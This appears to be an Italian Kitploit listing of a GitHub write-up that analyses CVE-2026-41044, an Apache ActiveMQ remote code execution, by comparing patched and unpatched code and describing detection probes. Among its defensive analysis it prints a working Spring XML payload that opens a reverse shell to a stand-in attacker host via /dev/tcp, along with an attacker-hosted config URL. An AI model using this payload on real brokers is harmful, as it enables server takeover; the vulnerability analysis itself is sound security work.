Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41044 — # Walkthrough didattico e proof-of-concept per CVE-2026-41044, una RCE su Apache ActiveMQ, con analisi della causa principale e script di rilevamento. | Kitploit
Strumenti/GitHubGitHub/mrillicit/cve-2026-41044
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# Walkthrough didattico e proof-of-concept per CVE-2026-41044, una RCE su Apache ActiveMQ, con analisi della causa principale e script di rilevamento.

Vedi Repository
34 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-41044

Nota: Solo a scopo didattico

Dall'Advisory alla RCA in un Pomeriggio: Come l'IA Comprime l'Analisi degli N-Day

Una breve e onesta analisi di CVE-2026-41044 in Apache ActiveMQ utilizzando il codice esatto pre e post patch.


CVE-2026-41044 è stata divulgata il 24 aprile 2026. È un bug di esecuzione remota di codice in Apache ActiveMQ Classic, scoperto da jsjcw, corretto nelle versioni 5.19.6 e 6.2.5. Non l'ho trovato io.

Quello che voglio mostrare è come qualcuno che non ha mai toccato ActiveMQ prima possa produrre un exploit funzionante di un N-day in un pomeriggio, perché il codice patchato è pubblico, il codice non patchato è pubblico, e il divario tra i due è a un git diff di distanza.


Parte 1: Il flusso di lavoro

Il processo è semplice:

  • Leggi l'advisory, annota i file interessati, il CWE e qualsiasi nome di funzione menzionato.
  • Estrai affiancate l'ultima versione vulnerabile e la prima versione patchata.
  • Chiedi a un modello di fare il diff dei file rilevanti e spiegare ogni modifica.
  • Riproduci la catena in un laboratorio locale e testala end to end.
  • Quello che prima richiedeva giorni ora richiede un pomeriggio. L'IA non trova bug. Legge il codice e lo spiega velocemente quanto tu riesci a fare domande. La parte costosa sei ancora tu: decidere cosa è realmente sfruttabile, dove sono i veri confini di fiducia, cosa richiede verifica. Il modello semplicemente percorre i call graph più velocemente di qualsiasi essere umano.

    Il punto più ampio: se il tuo flusso di lavoro di patching presuppone una settimana di tempo di analisi per CVE, sei sulla vecchia timeline. git diff ha la stessa lunghezza sia che tu stia scrivendo rilevamento o exploit.


    Parte 2: CVE-2026-41044

    Cos'è ActiveMQ?

    ActiveMQ è un message broker. Si posiziona nel mezzo e passa messaggi tra applicazioni. Pensalo come un ufficio postale: le app depositano messaggi, ActiveMQ li consegna al destinatario giusto. È ampiamente distribuito negli stack Java enterprise ed espone una console web e un'API REST di gestione chiamata Jolokia su /api/jolokia/. Le credenziali predefinite in molte distribuzioni sono ancora admin:admin.


    La vulnerabilità in una frase

    ActiveMQ permetteva a qualsiasi utente autenticato di caricare una configurazione del broker da un URL HTTP arbitrario, che Spring avrebbe analizzato ed eseguito immediatamente come oggetti Java - incluso ProcessBuilder - dando all'attaccante la piena esecuzione di comandi del sistema operativo sul server broker.


    Contesto: i termini che ti servono

    • Broker: il server ActiveMQ in esecuzione. Identificato da un nome, predefinito localhost.
    • Jolokia: un bridge HTTP-to-JMX su /api/jolokia/ che espone le operazioni di gestione come API REST. Qualsiasi credenziale valida della console web vi accede - non solo admin.
    • Transport vm://: il transport in-process utilizzato quando un client vive nella stessa JVM del broker. Accetta un parametro di query ?brokerConfig= che punta a una configurazione Spring XML per avviare un broker.
    • xbean:: uno schema URL che dice ad ActiveMQ di trattare l'URL come una configurazione Spring XML e caricarla.
    • Bean Spring / init-method: Spring legge l'XML e crea automaticamente oggetti Java (bean). L'attributo init-method dice a Spring di chiamare un metodo sul bean nel momento in cui viene creato - prima che qualsiasi altra cosa venga eseguita.
    • ProcessBuilder: una classe Java standard che esegue comandi del sistema operativo. ProcessBuilder.start() esegue il comando.

    La catena: cinque livelli, codice reale

    Livello 1 - DestinationView costruisce un URL tramite concatenazione di stringhe

    DestinationView.sendTextMessage() nella 5.19.2 costruisce un URL di connessione al broker concatenando direttamente il nome del broker in una stringa:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    Se getBrokerName() restituisce localhost?brokerConfig=xbean:http://attacker/poison.xml, l'intera stringa diventa un URI vm:// valido con un parametro di query incorporato. ActiveMQConnectionFactory lo passa a VMTransportFactory, che estrae il parametro brokerConfig e lo usa come URL di configurazione di bootstrap del broker.

    La correzione nella 5.19.6 è una riga:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    String diventa URI - la concatenazione accidentale non è più possibile. Il valore proviene da un oggetto URI pre-costruito e immutabile derivato dal connettore VM effettivamente registrato del broker, non da una stringa di nome mutabile.


    Livello 2 - Il punto di avvelenamento in RegionBroker

    Perché il Livello 1 sia sfruttabile, il nome del broker deve essere prima avvelenato. BrokerService ha sempre sanificato i nomi del broker:

    root@kitploit:~
    // BrokerService.setBrokerName() - presente in ENTRAMBE le versioni
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    Questa regex rimuove ? e = in modo pulito. La CVE esisteva perché RegionBroker aveva il proprio setter separato che non lo faceva:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // mutabile
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // nessuna validazione
    }
    

    Questo è un classico confused deputy - due setter su classi correlate, solo uno dei quali sanifica. Un peer remoto che trasmette un pacchetto BrokerInfo contraffatto con un campo nome avvelenato raggiunge direttamente RegionBroker.setBrokerName(), bypassando completamente la regex di BrokerService.

    La correzione nella 5.19.6 elimina il setter, rende il campo final e lo inizializza una volta dal genitore già sanificato:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // immutabile
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() è sparito. Non esiste più alcun setter.
    }
    

    Non puoi bypassare un sanificatore che non ha uno scrittore parallelo.


    Livello 3 - VMTransportFactory: deliberatamente invariato

    VMTransportFactory.doCompositeConnect() è la funzione che prende l'URI vm://...?brokerConfig=..., estrae il parametro brokerConfig e chiama BrokerFactory.createBroker(brokerURI). È il meccanismo di attivazione dell'intera catena.

    Apache non ha cambiato assolutamente nulla qui.

    Questa scelta ti dice qualcosa su come hanno pensato alla correzione. VMTransportFactory sta facendo un lavoro legittimo - i transport vm:// dovrebbero davvero accettare config di bootstrap. Patcharlo avrebbe rotto il design previsto. Invece, Apache ha corretto il bug alla fonte (Livello 2: nessun nome avvelenato può essere scritto) e al sink (Livello 5: anche se un URL avvelenato passasse, il resource resolver non lo recupererebbe).

    Correggi i livelli dove appartiene la validazione, non il livello da cui l'attaccante è passato per caso.


    Livello 4 - XBeanBrokerFactory passa l'URI a Spring

    root@kitploit:~
    // XBeanBrokerFactory - uguale in entrambe le versioni
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // Livello 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) è dove Spring fa le sue cose - ogni init-method dei bean viene eseguito alla costruzione del contesto, prima che BrokerService di ActiveMQ validi mai il risultato. Non c'è alcuna patch da fare qui. Il contratto di Spring è corretto come progettato. Il bug era che ActiveMQ si affidava alla validazione che avvenisse prima dell'istanziazione, e Spring non promette quell'ordine.


    Livello 5 - Utils.resourceFromString: la correzione primitiva effettiva

    Questa è la funzione che decideva se xbean:http://attacker/poison.xml dovesse essere recuperato. Nella 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? nessun controllo.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    Nessun filtro di protocollo. http://, https://, ftp://, jar:// - tutti accettati silenziosamente.

    La correzione della 5.19.6 aggiunge una allowlist esplicita. Solo file e classpath sono consentiti per impostazione predefinita. Tutto il resto genera un'eccezione prima che UrlResource venga mai costruito:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // genera eccezione se http/https/ecc.
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    XBeanBrokerFactory ora passa {file, classpath} come allowlist. Anche se un nome del broker avvelenato raggiungesse in qualche modo questa funzione in una versione futura, http://attacker/poison.xml genererebbe un'eccezione prima che Spring lo vedesse mai.


    Come appare il payload dell'exploit

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    Nel momento in cui Spring costruisce l'ApplicationContext, init-method="start" viene attivato sul bean ProcessBuilder. La validazione di BrokerService.start() di ActiveMQ viene eseguita dopo. A quel punto la shell si è già riconnessa.


    Sul PoC e i due percorsi

    Ci sono due modi per raggiungere il sink vulnerabile Utils.resourceFromString:

    Il percorso di produzione completo (quello descritto nell'advisory):

    root@kitploit:~
    Un peer remoto invia un pacchetto BrokerInfo contraffatto
      -> RegionBroker.setBrokerName() memorizza il nome avvelenato senza validazione
        -> DestinationView.sendTextMessage() lo concatena in un URL vm://
          -> VMTransportFactory estrae il parametro brokerConfig
            -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
    

    Il percorso breve (quello usato da poc.sh):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
    

    Il PoC prende il percorso breve per una ragione pratica: il percorso completo richiede la configurazione di un secondo broker ActiveMQ come peer di rete che invia un pacchetto BrokerInfo contraffatto al target - un'interazione broker-a-broker che richiede una configurazione di laboratorio più complessa. Il percorso breve funziona con un singolo broker e un server HTTP di base.

    Entrambi i percorsi colpiscono la stessa primitiva vulnerabile. Il PoC conferma che il sink è sfruttabile e che la CVE è presente sul target. Se vuoi riprodurre il punto di ingresso esatto descritto nell'advisory, devi aggiungere il passaggio broker-a-broker.


    Rilevamento

    Il PoC viene eseguito in modalità solo-rilevamento per impostazione predefinita. Sonda due segnali:

    Controllo banner - legge BrokerVersion tramite Jolokia:

    • < 5.19.6 o 6.0.0 - 6.2.4 = intervallo vulnerabile

    Controllo comportamentale - chiama addNetworkConnector("vm://probe") tramite Jolokia:

    • Patchato (5.19.6+) restituisce: Transport scheme 'vm' is not allowed
    • Vulnerabile restituisce un'IOException DiscoveryAgent scheme NOT recognized

    Il rifiuto sulla versione patchata proviene da BrokerView.validateAllowedUrl() - una deny-list separata aggiunta direttamente all'operazione JMX addNetworkConnector nella 5.19.6, non da Utils.resourceFromString. Queste sono due correzioni indipendenti: una protegge la superficie di gestione JMX, l'altra protegge la primitiva di caricamento delle risorse descritta nel Livello 5. La sonda comportamentale testa la prima.


    La correzione riassunta

    LivelloVulnerabile (5.19.2)Corretto (5.19.6)
    DestinationViewconcatenazione stringa "vm://" + brokerNamebroker.getVmConnectorURI() URI immutabile
    RegionBrokercampo mutabile, setter non sanificatocampo final, setter eliminato, inizializzato dal genitore sanificato
    VMTransportFactoryinvariatoinvariato (per design)
    XBeanBrokerFactorychiama Utils.resourceFromString(uri)chiama Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringrecupera qualsiasi schema URLallowlist applicata - solo file e classpath per impostazione predefinita

    Riferimenti e crediti

    • Advisory Apache: CVE-2026-41044
    • Patchato in ActiveMQ Classic 5.19.6 e 6.2.5
    • Scoperta della vulnerabilità: jsjcw
    • CVE gemella per contesto: CVE-2026-34197 (Horizon3.ai)
    • Il codice in questo post è verificato direttamente dagli alberi sorgente 5.19.2 e 5.19.6
    • Guidato da Varshit Modi, generato con assistenza IA.
    Scarica lo strumento